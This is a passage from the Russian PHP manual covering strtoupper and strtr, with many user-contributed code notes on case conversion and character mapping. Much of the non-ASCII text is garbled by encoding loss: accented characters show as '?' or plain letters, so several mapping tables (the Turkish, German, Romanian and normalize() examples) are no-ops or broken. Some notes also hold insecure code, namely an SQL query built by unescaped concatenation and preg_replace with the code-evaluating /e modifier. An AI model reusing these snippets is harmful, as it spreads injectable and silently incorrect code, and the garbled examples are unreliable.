There's a ucfirst "function" to make the first character uppercase, but there's no "lcfirst" function to make the first character lowercase.  Here's my own code to accomplish this.

<?
function lcfirst($str) {
    return strtolower(substr($str, 0, 1)) . substr($str, 1);
}
?>

I found this particularly useful for generating XML nodes with the Reflection class.
kmcdermott at perimeterinstitute dot ca 08-Dec-2004 01:04
To do case insensitive comparisons in a database, strtolower() can be a quick and dirty solution:

$Sql = "SELECT * FROM tablename WHERE LOWER(column_name) = '".strtolower($my_var)."'";
bkimble at ebaseweb dot com 19-Jan-2003 10:39
Heres a small function I wrote to stop people from submitting data that is ALL IN CAPS SO THEY CAN GET MORE ATTENTION THAT THE REST OF THE USER SUBMITTED DATA on my website :) If you can make it better, by all means do so. This function splits up words delimited by a space, and makes only the first letter of each word capitalized. You can easily modify it so it's only the very first word of the string. I've also added some exceptions so you don't make things like roman numerals look like "Iii" or "Xcmii" or something.

function RemoveShouting($string)
{
 $lower_exceptions = array(
        "to" => "1", "a" => "1", "the" => "1", "of" => "1"
 );

 $higher_exceptions = array(
        "I" => "1", "II" => "1", "III" => "1", "IV" => "1",
        "V" => "1", "VI" => "1", "VII" => "1", "VIII" => "1",
        "XI" => "1", "X" => "1"
 );

 $words = split(" ", $string);
 $newwords = array();
 foreach ($words as $word)
 {
  if (!$higher_exceptions[$word]) $word = strtolower($word);
  if (!$lower_exceptions[$word]) $word[0] = strtoupper($word[0]);
  array_push($newwords, $word);
 }
 return join(" ", $newwords);
}

BK


Преобразовывает строку в верхний регистр

  • « strtolower
  • strtr »
  • PHP Manual
  • Функции для работы со строками
  • Преобразовывает строку в верхний регистр

strtoupper

(PHP 4, PHP 5, PHP 7, PHP 8)

strtoupper — Преобразовывает строку в верхний регистр

Описание

strtoupper(string $string): string

Возвращает строку string, в которой все буквенные символы ASCII переведены в верхний регистр.

Байты в диапазоне от "a" (0x61) до "z" (0x7a) будут преобразованы в соответствующую заглавную букву путём вычитания 32 из каждого значения байта.

Функцию можно использовать для преобразования символов ASCII в строках, закодированных в UTF-8, поскольку многобайтовые символы UTF-8 будут проигнорированы. Для преобразования многобайтовых не ASCII символов используйте функцию mb_strtoupper().

Список параметров

string

Входная строка.

Возвращаемые значения

Возвращает строку в верхнем регистре.

Список изменений

Версия | Описание
8.2.0 | Приведение к единому регистру больше не зависит от настроек региональных установок, которые установили функцией setlocale(). Преобразовываются только символы кодировки ASCII.

Примеры

Пример #1 Пример использования strtoupper()

<?php
$str = "Mary Had A Little Lamb and She LOVED It So";
$str = strtoupper($str);
echo $str; // выводит: MARY HAD A LITTLE LAMB AND SHE LOVED IT SO
?>

Примечания

Замечание: Эта функция безопасна для обработки данных в двоичной форме.

Смотрите также

  • strtolower() - Преобразовывает строку в нижний регистр
  • ucfirst() - Преобразовывает первый символ строки в верхний регистр
  • ucwords() - Преобразовывает в верхний регистр первый символ каждого слова в строке
  • mb_strtoupper() - Приводит строку к верхнему регистру

User Contributed Notes

chris at ocproducts dot com 28-Jul-2019 01:08
This function has a real challenge when it comes to Turkish. In Turkish the ASCII letter 'i' uppercases to a non-ASCII character. This means that PHP cannot upper case it.

i.e. for the Turkish locale, strtoupper('i')=='i'

This can mess with basic program logic.

There's no simple solution. The core problem is discussed more here:
http://www.i18nguy.com/unicode/turkish-i18n.html
Dave 24-Jan-2018 07:55
Why this function isn't just named "uppercase" or has an alias named that, I don't know.
uilmind at favor.com.ua 09-Jul-2016 10:36
Here is how to make the character in upper case, except HTML-entities:

$s = substr(preg_replace('/(?<=^|;)(.+?)(?=&[0-9A-Za-z]+;|$)/e', "strtoupper('$1')", ' '.$s), 1);

There is small kludge, however. Unfortunately I tired to find out the way how to exclude HTML-entity at the start of the line, so I have added 1 dummy character at the start of the text and removing it after the conversion.
adriaanse06 at hotmail dot com 28-Jul-2015 11:51
$ther=''.THEREISALREADYA.' '.CONCEPT.' '.SAVED.' ';
or
$ther="There Is all ready A concept SAVED";

$fupper=substr("$ther",0,1);
pick the first char

$theru = strtoupper($fupper);
make it upper

$flower=substr("$ther",1,100);
pick the rest

$therl = strtolower($flower);
make them lower

Result:
There is all ready a concept saved
andre at koethur dot de 10-Jun-2013 08:28
One might think that setting the correct locale would do the trick with for example german umlauts, but this is not the case. You have to use mb_strtoupper() instead:

<?php

setlocale(LC_CTYPE, 'de_DE.UTF8');

echo strtoupper('Umlaute aou in uppercase'); // outputs "UMLAUTE aou IN UPPERCASE"
echo mb_strtoupper('Umlaute aou in uppercase', 'UTF-8'); // outputs "UMLAUTE AOU IN UPPERCASE"

?>
james at snasta dot ie 10-Nov-2011 06:44
In the Irish language certain initial mutations can never be capitalized — the following simple function can be used to capitalize text in Irish.

i.e. Muintir na hEireann -> MUINTIR NA hEIREANN

<?php
function strtoupper_ga($a) {
    return strtr(mb_strtoupper($a, "utf-8"), array(
      " MB" => " mB",
      " GC" => " gC",
      " ND" => " nD",
      " BHF" => " bhF",
      " NG" => " nG",
      " BP" => " bP",
      " DT" => " dT",
      " HA" => " hA",
      " HE" => " hE",
      " HI" => " hI",
      " HO" => " hO",
      " HU" => " hU",
      " HA" => " hA",
      " HE" => " hE",
      " HI" => " hI",
      " HO" => " hO",
      " HU" => " hU"
    ));
}
?>
smieat 01-May-2010 04:39
perfect solutions for turkish utf-8 (including i I conversations):

<?php
function strtolowertr($metin){
    return mb_convert_case(str_replace('I','?',$metin), MB_CASE_LOWER, "UTF-8");
}

function strtouppertr($metin){
    return mb_convert_case(str_replace('i','I',$metin), MB_CASE_UPPER, "UTF-8");
}

function ucwordstr($metin) {
    return ltrim(mb_convert_case(str_replace(array(' I',' ?', ' I', ' i'),array(' I',' I',' I',' I'),' '.$metin), MB_CASE_TITLE, "UTF-8"));
}

function ucfirsttr($metin) {
    $metin = in_array(crc32($metin[0]),array(1309403428, -797999993, 957143474)) ? array(strtouppertr(substr($metin,0,2)),substr($metin,2)) : array(strtouppertr($metin[0]),substr($metin,1));
return $metin[0].$metin[1];
}
?>
chris at table4 dot com 19-Jan-2009 07:31
Simple function to change the case of your string and any accented html characters contained within it.

Inspired by fullUpper(), by silent at gmx dot li... just a little bit more atomic.

<?php

function convertCase($str, $case = 'upper')
{ //yours, courtesy of table4.com  :)
  switch($case)
  {
    case "upper" :
    default:
      $str = strtoupper($str);
      $pattern = '/&([A-Z])(UML|ACUTE|CIRC|TILDE|RING|';
      $pattern .= 'ELIG|GRAVE|SLASH|HORN|CEDIL|TH);/e';
      $replace = "'&'.'\\1'.strtolower('\\2').';'"; //convert the important bit back to lower
    break;

    case "lower" :
      $str = strtolower($str);
    break;
  }

  $str = preg_replace($pattern, $replace, $str);
  return $str;
}
?>

Depending on what you are trying to achieve you would call like this:

<?php

//with entities...
$str = convertCase(htmlentities($str, ENT_QUOTES, "ISO-8859-1"));

?>
spaceman at foo dot at 17-Apr-2008 09:59
It has been mentioned in a previous comment that all you need to do to let PHP's strtoupper() do the conversion - instead of writing more or less complicated functions yourself - is to specify the locale in which you're doing the case conversion:

<?php setlocale(LC_CTYPE, "de_AT") ?>

It is important to note that setlocale() will silently fail if it can't find the specified locale on your system, so *always* check its return value. Try different spellings: using "de_AT" as an example, there are various combinations that may or may not work for you: "de", "de_AT.utf8", "de_AT.iso-8859-1", "de_AT.latin1", "de_AT@euro", etc).

If you can't find an appropriate locale setting, check your system configuration (locales are a system-wide setting, PHP gets them from the OS). On Windows, locales can be set from the Control Panel; on Linux it depends on your distribution. You can try "sudo dpkg-reconfigure locales" on Debian-based distros, or configure them manually. On Ubuntu Dapper, I had to copy entries over from /usr/share/i18n/SUPPORTED to /var/lib/locales/supported.d/local, then do the dpkg-reconfigure.

After you're done, restart the web server.

That said, there are special cases where you want to do the conversion manually. In German, for example, the letter '?' (szlig) only exists as a lower-case character, and so doesn't get converted by strtoupper. The convential way to express a '?' in an uppercase string is "SS". This function will take care of this exception (for Latin1 and most of Latin9, at least):

<?php

define("LATIN1_UC_CHARS", "AAAAAA?CEEEEIIII?NOOOOOOUUUUY");
define("LATIN1_LC_CHARS", "aaaaaa?ceeeeiiii?noooooouuuuy");

function uc_latin1 ($str) {
    $str = strtoupper(strtr($str, LATIN1_LC_CHARS, LATIN1_UC_CHARS));
    return strtr($str, array("?" => "SS"));
}

?>
Oliv. 11-Oct-2007 07:20
accents convertion trick :

<?php

    function ucfirstHTMLentity($matches){
        return "&".ucfirst(strtolower($matches[1])).";";
    }
    function fullUpper($str){
        $subject = strtoupper(htmlentities($str, null, 'UTF-8'));
        $pattern = '/&([A-Z]+);/';
        return preg_replace_callback($pattern, "ucfirstHTMLentity", $subject);
    }

        print fullUpper($_REQUEST["txt"]);

?>
RUNET 17-Apr-2007 05:33
Russian

function str_to_upper($str){
    return strtr($str,
    "abcdefghijklmnopqrstuvwxyz".
    "\xE0\xE1\xE2\xE3\xE4\xE5".
    "\xb8\xe6\xe7\xe8\xe9\xea".
    "\xeb\xeC\xeD\xeE\xeF\xf0".
    "\xf1\xf2\xf3\xf4\xf5\xf6".
    "\xf7\xf8\xf9\xfA\xfB\xfC".
    "\xfD\xfE\xfF",
    "ABCDEFGHIJKLMNOPQRSTUVWXYZ".
    "\xC0\xC1\xC2\xC3\xC4\xC5".
    "\xA8\xC6\xC7\xC8\xC9\xCA".
    "\xCB\xCC\xCD\xCE\xCF\xD0".
    "\xD1\xD2\xD3\xD4\xD5\xD6".
    "\xD7\xD8\xD9\xDA\xDB\xDC".
    "\xDD\xDE\xDF");
}
bart at insane dot at 10-May-2006 04:31
When using UTF-8 and need to convert to uppercase with
special characters like the german a,o,u (didn't test for french,polish,russian but think it should work, too) try this:

function strtoupper_utf8($string){
    $string=utf8_decode($string);
    $string=strtoupper($string);
    $string=utf8_encode($string);
    return $string;
}
30-May-2005 06:11
// 2005/5/30 Justin
    // Chinese_Traditional toupper
    function CT_to_upper($string)
    {
        $isChineseStart = false;

          $new_string = "";
         $i = 0;
          while($i < strlen($string))
          {
               if (ord(substr($string,$i,1)) <128)
               {
                   if( $isChineseStart == false )
                       $new_string .= strtoupper(mb_substr($string,$i,1));
                   else
                       $new_string .= substr($string,$i,1);
               }
               else
               {
                   if( $isChineseStart == false )
                       $isChineseStart = true;
                   else
                       $isChineseStart = false;

                     $new_string .= substr($string,$i,1);
               }
               $i++;
          }
          return $new_string;
    }
    //
willyann at gmail dot com 24-May-2005 09:31
chinese

function to_upper($string) {
  $new_string = "";
  $i = 0;
  while($i < strlen($string)) {
   if (ord(substr($string,$i,1)) <128)
   {
     $new_string .= strtoupper(substr($string,$i,1));
     $i++;
   } else {
     $new_string .= substr($string,$i,2);
     $i=$i+2;
   }
  }
  return $new_string;
}
30-Oct-2004 03:23
If you only need to extend the conversion by the characters of a certain language, it's possible to control this using an environment variable to change the locale:

setlocale(LC_CTYPE, "de_DE");
mec at stadeleck dot org 02-Dec-2002 06:54
something I myself first not thought about:
if there are any html entities (named entities) in your string, strtoupper will turn all letters within this entities to upper case, too. So if you want to manipulate a string with strtoupper it should contain only unicode entities (if ever).


Преобразовывает заданные символы или заменяет подстроки

  • « strtoupper
  • substr_compare »
  • PHP Manual
  • Функции для работы со строками
  • Преобразовывает заданные символы или заменяет подстроки

strtr

(PHP 4, PHP 5, PHP 7, PHP 8)

strtr — Преобразовывает заданные символы или заменяет подстроки

Описание

strtr(string $string, string $from, string $to): string

Альтернативная сигнатура (не поддерживается с именованными аргументами):

strtr(string $string, array $replace_pairs): string

Если указаны три аргумента, эта функция возвращает копию string, в которой все вхождения каждого символа (однобайтного) из from были заменены на соответствующий символ в параметре to, то есть каждое вхождение из $from[$n] заменяется на $to[$n], где $n - это корректное смещение строки в обоих аргументах.

Если длины строк from и to отличаются, "лишние" символы в более длинной строке не используются. Длина возвращаемого значения будет такой же, как и длина string.

strtr() может вызываться с двумя аргументами. В этом случае from должен быть массивом (array), в форме array('from' => 'to', ...). Функция возвратит строку, в которой все ключи массива будут заменены их элементами. strtr() в первую очередь заменяет более длинные ключи, причём одна и та же строка поиска используется только один раз.

В этом случае, ключи и значения могут иметь любую длину, за исключением того, что ключи не должны быть пустыми. Кроме того, длина возвращаемого значения может отличаться от string. Однако, стоит учесть тот факт, что эта функция максимально эффективна в том случае, если все ключи имеют одинаковый размер.

Список параметров

string

Заменяемая строка (string).

from

Строка (string), которая будет заменена на строку to.

to

Строка (string), заменяющая строку from.

replace_pairs

Параметр replace_pairs может быть использован вместо to и from, в этом случае он является массивом (array) и имеет форму array('from' => 'to', ...).

Если replace_pairs содержит ключ, который является пустой строкой (string) (""), элемент игнорируется; начиная с PHP 8.0.0 в этом случае вызывается E_WARNING.

Возвращаемые значения

Возвращает строку (string) с произведёнными в ней заменами.

Примеры

Пример #1 Пример использования strtr()

<?php
//В этой форме strtr() осуществляет побайтное преобразование
//Таким образом, здесь подразумевается однобайтная кодировка:
$addr = strtr($addr, "aao", "aao");
?>

Следующий пример демонстрирует поведение функции strtr() при вызове только с двумя аргументами. Обратите внимание на приоритет замен ("h" не используется, так как существуют более длинные совпадения) и как заменённый текст больше не участвует в поиске.

Пример #2 Пример использования strtr() с двумя аргументами

<?php
$trans = array("h" => "-", "hello" => "hi", "hi" => "hello");
echo strtr("hi all, I said hello", $trans);
?>

Результат выполнения приведённого примера:

hello all, I said hi

Эти два режима довольно сильно различаются. При вызове strtr() с тремя аргументами заменяются байты, а при вызове с двумя аргументами могут быть заменены и более длинные подстроки.

Пример #3 Сравнение поведения функции strtr()

<?php
echo strtr("baab", "ab", "01"),"\n";

$trans = array("ab" => "01");
echo strtr("baab", $trans);
?>

Результат выполнения приведённого примера:

1001
ba01

Смотрите также

  • str_replace() - Заменяет вхождения строки поиска строкой замены
  • preg_replace() - Выполняет поиск и замену по регулярному выражению

User Contributed Notes

tekintian#gmail.com 07-Jun-2020 12:08
/**
 *
 *  ??????????????????????'%+-()'???????????
 * @author tekintian#gmail.com
 * @param   string       $str         ?????
 *
 * @return  string       $str         ?????
 */
function str2byte_convert(String $str):String  {
    $arr = array('0' => '0', '1' => '1', '2' => '2', '3' => '3', '4' => '4',
        '5' => '5', '6' => '6', '7' => '7', '8' => '8', '9' => '9',
        'A' => 'A', 'B' => 'B', 'C' => 'C', 'D' => 'D', 'E' => 'E',
        'F' => 'F', 'G' => 'G', 'H' => 'H', 'I' => 'I', 'J' => 'J',
        'K' => 'K', 'L' => 'L', 'M' => 'M', 'N' => 'N', 'O' => 'O',
        'P' => 'P', 'Q' => 'Q', 'R' => 'R', 'S' => 'S', 'T' => 'T',
        'U' => 'U', 'V' => 'V', 'W' => 'W', 'X' => 'X', 'Y' => 'Y',
        'Z' => 'Z', 'a' => 'a', 'b' => 'b', 'c' => 'c', 'd' => 'd',
        'e' => 'e', 'f' => 'f', 'g' => 'g', 'h' => 'h', 'i' => 'i',
        'j' => 'j', 'k' => 'k', 'l' => 'l', 'm' => 'm', 'n' => 'n',
        'o' => 'o', 'p' => 'p', 'q' => 'q', 'r' => 'r', 's' => 's',
        't' => 't', 'u' => 'u', 'v' => 'v', 'w' => 'w', 'x' => 'x',
        'y' => 'y', 'z' => 'z',
        '(' => '(', ')' => ')', '?' => '[', '?' => ']', '?' => '[',
        '?' => ']', '?' => '[', '?' => ']', '"' => '[', '"' => ']',
        ''' => '[', ''' => ']', '{' => '{', '}' => '}', '?' => '<',
        '?' => '>',
        '%' => '%', '+' => '+', '—' => '-', '-' => '-', '~' => '-',
        ':' => ':', '?' => '.', '?' => ',', ',' => '.', '?' => '.',
        ';' => ',', '?' => '?', '!' => '!', '...' => '-', '?' => '|',
        '"' => '"', ''' => '`', ''' => '`', '|' => '|', '?' => '"',
        '?' => ' ');

    return strtr($str, $arr);
}
Anonymous 10-Jan-2020 10:58
The string, string form cannot remove characters, but the array form can.
Annubis 09-Sep-2018 06:49
Since I was having a lot of trouble finding a multibyte safe strtr and the solutions I found didn't help, I came out with this function, I don't know how it works with non latin chars but it works for me using spanish/french utf8, I hope it helps someone...
<?php
if(!function_exists('mb_strtr')) {
    function mb_strtr ($str, $from, $to = null) {
        if(is_array($from)) {
            $from = array_map('utf8_decode', $from);
            $from = array_map('utf8_decode', array_flip ($from));
            return utf8_encode (strtr (utf8_decode ($str), array_flip ($from)));
        }
        return utf8_encode (strtr (utf8_decode ($str), utf8_decode($from), utf8_decode ($to)));
    }
}
?>
evan dot king at NOSPAM dot example dot com 24-Apr-2015 03:05
Here's an important real-world example use-case for strtr where str_replace will not work or will introduce obscure bugs:

<?php

$strTemplate = "My name is :name, not :name2.";
$strParams = [
  ':name' => 'Dave',
  'Dave' => ':name2 or :password', // a wrench in the otherwise sensible input
  ':name2' => 'Steve',
  ':pass' => '7hf2348', // sensitive data that maybe shouldn't be here
];

echo strtr($strTemplate, $strParams);
// "My name is Dave, not Steve."

echo str_replace(array_keys($strParams), array_values($strParams), $strTemplate);
// "My name is Steve or 7hf2348word, not Steve or 7hf2348word2."

?>

Any time you're trying to template out a string and don't necessarily know what the replacement keys/values will be (or fully understand the implications of and control their content and order), str_replace will introduce the potential to incorrectly match your keys because it does not expand the longest keys first.

Further, str_replace will replace in previous replacements, introducing potential for unintended nested expansions.  Doing so can put the wrong data into the "sub-template" or even give users a chance to provide input that exposes data (if they get to define some of the replacement strings).

Don't support recursive expansion unless you need it and know it will be safe.  When you do support it, do so explicitly by repeating strtr calls until no more expansions are occurring or a sane iteration limit is reached, so that the results never implicitly depend on order of your replacement keys.  Also make certain that any user input will expanded in an isolated step after any sensitive data is already expanded into the output and no longer available as input.

Note: using some character(s) around your keys to designate them also reduces the possibility of unintended mangling of output, whether maliciously triggered or otherwise.  Thus the use of a colon prefix in these examples, which you can easily enforce when accepting replacement input to your templating/translation system.
Romain 23-Oct-2014 09:44
<?php
    /**
     * Clean string,
     * minimize and remove space, accent and other
     *
     * @param string $string
     * @return string
     */
    public function mb_strtoclean($string){
        // Valeur a nettoyer (conversion)
        $unwanted_array = array(    'S'=>'S', 's'=>'s', 'Z'=>'Z', 'z'=>'z', 'A'=>'A', 'A'=>'A', 'A'=>'A', 'A'=>'A', 'A'=>'A', 'A'=>'A', '?'=>'A', 'C'=>'C', 'E'=>'E', 'E'=>'E',
                                    'E'=>'E', 'E'=>'E', 'I'=>'I', 'I'=>'I', 'I'=>'I', 'I'=>'I', 'N'=>'N', 'O'=>'O', 'O'=>'O', 'O'=>'O', 'O'=>'O', 'O'=>'O', 'O'=>'O', 'U'=>'U',
                                    'U'=>'U', 'U'=>'U', 'U'=>'U', 'Y'=>'Y', '?'=>'B', '?'=>'Ss', 'a'=>'a', 'a'=>'a', 'a'=>'a', 'a'=>'a', 'a'=>'a', 'a'=>'a', '?'=>'a', 'c'=>'c',
                                    'e'=>'e', 'e'=>'e', 'e'=>'e', 'e'=>'e', 'i'=>'i', 'i'=>'i', 'i'=>'i', 'i'=>'i', '?'=>'o', 'n'=>'n', 'o'=>'o', 'o'=>'o', 'o'=>'o', 'o'=>'o',
                                    'o'=>'o', 'o'=>'o', 'u'=>'u', 'u'=>'u', 'u'=>'u', 'y'=>'y', 'y'=>'y', '?'=>'b', 'y'=>'y',
                                    ' ' => '', '_' => '', '-' => '', '.'=> '', ',' => '', ';' => '');

        return mb_strtolower(strtr($string, $unwanted_array ));
    }
doydoy44 12-Aug-2013 04:01
The example of VOVA (http://www.php.net/manual/fr/function.strtr.php#111968) is good but the result is false:
His example dont replace the string.

<?php
function f1_strtr() {
  for($i=0; $i<1000000; ++$i) {
    $new_string = strtr("aboutdealers.com", array(".com" => ""));
  }
  return $new_string;
}
function f2_str_replace() {
  for($i=0; $i<1000000; ++$i) {
    $new_string = str_replace( ".com", "", "aboutdealers.com");
  }
  return $new_string;
}
$start = microtime(true);
$strtr = f1_strtr();
$stop = microtime(true);
$time_strtr = $stop - $start;

$start = microtime(true);
$str_replace = f2_str_replace();
$stop = microtime(true);
$time_str_replace = $stop - $start;

echo 'time strtr       : ' . $time_strtr       . "\tresult :" . $strtr       . "\n";
echo 'time str_replace : ' . $time_str_replace . "\tresult :" . $str_replace . "\n";
echo 'time strtr > time str_replace => ' . ($time_strtr > $time_str_replace);
?>
--------------------------------------
time strtr       : 3.9719619750977      result :aboutdealers
time str_replace : 2.9930369853973      result :aboutdealers
time strtr > time str_replace => 1

str_replace is faster than strtr
dcz at phpbb-seo dot com 08-Aug-2013 08:26
strstr will issue a notice when $replace_pairs contains an array, even unused, with php 5.5.0.

It was not the case with version at least up to 5.3.2, but I'm not sure the notice was added with exactly 5.5.0.

<?php
$str = 'hi all, I said hello';
$replace_pairs = array(
      'all' => 'everybody',
    'unused' => array('somtehing', 'something else'),
     'hello' => 'hey',
);
// php 5.5.0 Notice: Array to string conversion in test.php on line 8
echo strtr($str, $replace_pairs); // hi everybody, I said hey
?>

since the result is still correct, @strstr seems a working solution.
Hayley Watson 01-Feb-2013 02:04
Since strtr (like PHP's other string functions) treats strings as a sequence of bytes, and since UTF-8 and other multibyte encodings use - by definition - more than one byte for at least some characters, the three-string form is likely to have problems. Use the associative array form to specify the mapping.

<?php
// Assuming UTF-8
$str = 'Abc Abc'; // strtr() sees this as nine bytes (including two for each A)
echo strtr($str, 'A', 'a'); // The second argument is equivalent to the string "\xc3\x84" so "\xc3" gets replaced by "a" and the "\x84" is ignored

echo strtr($str, array('A' => 'a')); // Works much better
?>
qeremy [atta] gmail [dotta] com 22-Jan-2013 07:19
Weird, but strtr corrupting chars, if used like below and if file is encoded in UTF-8;

<?php
$str = 'Abc Abc';
echo strtr($str, 'A', 'a');
// output: a?bc a?bc
?>

And a simple solution;

<?php
function strtr_unicode($str, $a = null, $b = null) {
    $translate = $a;
    if (!is_array($a) && !is_array($b)) {
        $a = (array) $a;
        $b = (array) $b;
        $translate = array_combine(
            array_values($a),
            array_values($b)
        );
    }
    // again weird, but accepts an array in this case
    return strtr($str, $translate);
}

$str = 'Abc Abc';
echo strtr($str, 'A', 'a') ."\n";
echo strtr_unicode($str, 'A', 'a') ."\n";
echo strtr_unicode($str, array('A' => 'a')) ."\n";
// outputs
// a?bc a?bc
// abc abc
// abc abc
?>
Tedy 01-Nov-2012 08:43
Since strtr() is twice faster than strlwr I decided to write my own lowering function which also handles UTF-8 characters.

<?php

function strlwr($string, $utf = 1)
{
    $latin_letters = array('A' => 'a',
                            'A' => 'a',
                            'I' => 'i',
                            '?' => 's',
                            'S' => 's',
                            '?' => 't',
                            'T' => 't');

    $utf_letters = array('A' => 'a',
                        'A' => 'a',
                        'I' => 'i',
                        '?' => '?',
                        'S' => 's',
                        '?' => '?',
                        'T' => 't');

    $letters = array('A' => 'a',
                    'B' => 'b',
                    'C' => 'c',
                    'D' => 'd',
                    'E' => 'e',
                    'F' => 'f',
                    'G' => 'g',
                    'H' => 'h',
                    'I' => 'i',
                    'J' => 'j',
                    'K' => 'k',
                    'L' => 'l',
                    'M' => 'm',
                    'N' => 'n',
                    'O' => 'o',
                    'P' => 'p',
                    'Q' => 'q',
                    'R' => 'r',
                    'S' => 's',
                    'T' => 't',
                    'U' => 'u',
                    'V' => 'v',
                    'W' => 'w',
                    'X' => 'x',
                    'Y' => 'y',
                    'Z' => 'z');

    return ($utf == 1) ? strtr($string, array_merge($utf_letters, $letters)) : strtr($string, array_merge($latin_letters, $letters));
}

?>

This allows you to lower every character (even UTF-8 ones) if you don't set the second parameter, or just lower the UTF-8 ones into their specific latin characters (used when making friendly-urls for example).

I used romanian characters but, of course, you can add your own local characters.

Feel free to use/modify this function as you wish. Hope it helps.
Michael Schuijff 24-Oct-2011 10:02
I found that this approach is often faster than strtr() and won't change the same thing in your string twice (as opposed to str_replace(), which will overwrite things in the order of the array you feed it with):

<?php
function replace ($text, $replace) {
    $keys = array_keys($replace);
    $length = array_combine($keys, array_map('strlen', $keys));
    arsort($length);

    $array[] = $text;
    $count = 1;
    reset($length);
    while ($key = key($length)) {
        if (strpos($text, $key) !== false) {
            for ($i = 0; $i < $count; $i += 2) {
                if (($pos = strpos($array[$i], $key)) === false) continue;
                array_splice($array, $i, 1, array(substr($array[$i], 0, $pos), $replace[$key], substr($array[$i], $pos + strlen($key))));
                $count += 2;
            }
        }
        next($length);
    }
    return implode($array);
}
?>
elloromtz at gmail dot com 19-Apr-2010 05:08
If you supply 3 arguments and the 2nd is an array, strtr will search the "A" from "Array" (because you're treating it as a scalar string) and replace it with the 3rd argument:

strtr('Analogy', array('x'=>'y'),  '_'); //'_nalogy'

so in reality the above code has the same affect as:

strtr('Analogy', 'A' , '_');
allixsenos at gmail dot com 16-May-2009 08:55
fixed "normaliza" functions written below to include Slavic Latin characters... also, it doesn't return lowercase any more (you can easily get that by applying strtolower yourself)...

also, renamed to normalize()

<?php

function normalize ($string) {
    $table = array(
        'S'=>'S', 's'=>'s', 'D'=>'Dj', 'd'=>'dj', 'Z'=>'Z', 'z'=>'z', 'C'=>'C', 'c'=>'c', 'C'=>'C', 'c'=>'c',
        'A'=>'A', 'A'=>'A', 'A'=>'A', 'A'=>'A', 'A'=>'A', 'A'=>'A', '?'=>'A', 'C'=>'C', 'E'=>'E', 'E'=>'E',
        'E'=>'E', 'E'=>'E', 'I'=>'I', 'I'=>'I', 'I'=>'I', 'I'=>'I', 'N'=>'N', 'O'=>'O', 'O'=>'O', 'O'=>'O',
        'O'=>'O', 'O'=>'O', 'O'=>'O', 'U'=>'U', 'U'=>'U', 'U'=>'U', 'U'=>'U', 'Y'=>'Y', '?'=>'B', '?'=>'Ss',
        'a'=>'a', 'a'=>'a', 'a'=>'a', 'a'=>'a', 'a'=>'a', 'a'=>'a', '?'=>'a', 'c'=>'c', 'e'=>'e', 'e'=>'e',
        'e'=>'e', 'e'=>'e', 'i'=>'i', 'i'=>'i', 'i'=>'i', 'i'=>'i', '?'=>'o', 'n'=>'n', 'o'=>'o', 'o'=>'o',
        'o'=>'o', 'o'=>'o', 'o'=>'o', 'o'=>'o', 'u'=>'u', 'u'=>'u', 'u'=>'u', 'y'=>'y', 'y'=>'y', '?'=>'b',
        'y'=>'y', 'R'=>'R', 'r'=>'r',
    );

    return strtr($string, $table);
}

?>
Sidney Ricardo 05-Sep-2008 11:54
This work fine to me:

<?php
function normaliza ($string){
    $a = 'AAAAAA?CEEEEIIII?NOOOOOOUUUUY?
?aaaaaa?ceeeeiiii?noooooouuuyy?yRr';
    $b = 'aaaaaaaceeeeiiiidnoooooouuuuy
bsaaaaaaaceeeeiiiidnoooooouuuyybyRr';
    $string = utf8_decode($string);
    $string = strtr($string, utf8_decode($a), $b);
    $string = strtolower($string);
    return utf8_encode($string);
}
?>
dot dot dot dot dot alexander at gmail dot com 25-Mar-2008 04:09
OK, I debugged the function (had some errors)
Here it is:

if(!function_exists("stritr")){
    function stritr($string, $one = NULL, $two = NULL){
/*
stritr - case insensitive version of strtr
Author: Alexander Peev
Posted in PHP.NET
*/
        if(  is_string( $one )  ){
            $two = strval( $two );
            $one = substr(  $one, 0, min( strlen($one), strlen($two) )  );
            $two = substr(  $two, 0, min( strlen($one), strlen($two) )  );
            $product = strtr(  $string, ( strtoupper($one) . strtolower($one) ), ( $two . $two )  );
            return $product;
        }
        else if(  is_array( $one )  ){
            $pos1 = 0;
            $product = $string;
            while(  count( $one ) > 0  ){
                $positions = array();
                foreach(  $one as $from => $to  ){
                    if(   (  $pos2 = stripos( $product, $from, $pos1 )  ) === FALSE   ){
                        unset(  $one[ $from ]  );
                    }
                    else{
                        $positions[ $from ] = $pos2;
                    }
                }
                if(  count( $one ) <= 0  )break;
                $winner = min( $positions );
                $key = array_search(  $winner, $positions  );
                $product = (   substr(  $product, 0, $winner  ) . $one[$key] . substr(  $product, ( $winner + strlen($key) )  )   );
                $pos1 = (  $winner + strlen( $one[$key] )  );
            }
            return $product;
        }
        else{
            return $string;
        }
    }/* endfunction stritr */
}/* endfunction exists stritr */
dot dot dot dot dot alexander at gmail dot com 25-Mar-2008 10:44
Here is the stritr I always needed... I wrote it in 15 minutes... But only after the idea struck me. Hope you find it helpful, and enjoy...
<?php
if(!function_exists("stritr")){
    function stritr($string, $one = NULL, $two = NULL){
/*
stritr - case insensitive version of strtr
Author: Alexander Peev
Posted in PHP.NET
*/
        if(  is_string( $one )  ){
            $two = strval( $two );
            $one = substr(  $one, 0, min( strlen($one), strlen($two) )  );
            $two = substr(  $two, 0, min( strlen($one), strlen($two) )  );
            $product = strtr(  $string, ( strtoupper($one) . strtolower($one) ), ( $two . $two )  );
            return $product;
        }
        else if(  is_array( $one )  ){
            $pos1 = 0;
            $product = $string;
            while(  count( $one ) > 0  ){
                $positions = array();
                foreach(  $one as $from => $to  ){
                    if(   (  $pos2 = stripos( $product, $from, $pos1 )  ) === FALSE   ){
                        unset(  $one[ $from ]  );
                    }
                    else{
                        $positions[ $from ] = $pos2;
                    }
                }
                $winner = min( $positions );
                $key = array_search(  $winner, $positions  );
                $product = (   substr(  $product, 0, $winner  ) . $positions[$key] . substr(  $product, ( $winner + strlen($key) )  )   );
                $pos1 = (  $winner + strlen( $positions[$key] )  );
            }
            return $product;
        }
        else{
            return $string;
        }
    }/* endfunction stritr */
}/* endfunction exists stritr */
?>
troelskn at gmail dot com 23-Jan-2008 03:39
Here's another transcribe function. This one converts cp1252 (aka. Windows-1252) into iso-8859-1 (aka. latin1, the default PHP charset). It only transcribes the few exotic characters, which are unique to cp1252.

function transcribe_cp1252_to_latin1($cp1252) {
  return strtr(
    $cp1252,
    array(
      "\x80" => "e",  "\x81" => " ",    "\x82" => "'", "\x83" => 'f',
      "\x84" => '"',  "\x85" => "...",  "\x86" => "+", "\x87" => "#",
      "\x88" => "^",  "\x89" => "0/00", "\x8A" => "S", "\x8B" => "<",
      "\x8C" => "OE", "\x8D" => " ",    "\x8E" => "Z", "\x8F" => " ",
      "\x90" => " ",  "\x91" => "`",    "\x92" => "'", "\x93" => '"',
